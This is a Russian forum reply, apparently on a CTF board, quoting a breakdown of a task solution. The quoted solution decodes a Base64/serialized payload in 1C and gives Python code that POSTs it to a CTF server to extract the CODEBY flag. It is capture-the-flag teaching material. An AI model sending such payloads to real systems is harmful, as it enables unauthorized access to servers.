Показать сообщение отдельно

  #4  
Старый 24.11.2023, 17:44
artesk
Новичок
Регистрация: 19.11.2023
Сообщений: 0
С нами: 1309023

Репутация: 0
По умолчанию

Цитата:

ALT1RE сказал(а):

Разбор для самых маленьких.

Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):

За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.

Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:

Код:


Код:
УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад))); 
СпортивноеТело = "";
  
Для Каждого Х из УЙ Цикл
    СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;
где:

Код:


Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.
После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.

А на питоне это выглядело бы так:

Python:


Код:
import
requests

response
=
requests
.
post
(
'http://62.173.140.174:16028/'
,
data
=
ПЕЙЛОАД
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
}
)
if
response
.
ok
:
print
(
response
.
text
[
response
.
text
.
find
(
"CODEBY{"
)
:
response
.
text
.
find
(
"}"
,
response
.
text
.
find
(
"CODEBY{"
)
,
len
(
response
.
text
)
)
+
1
]
)
Нам(1Сникам) платят не за строчки, а за символы. Я хорошо поднялся на этом сниппете кода! Спасибо за детальный разбор
 
Ответить с цитированием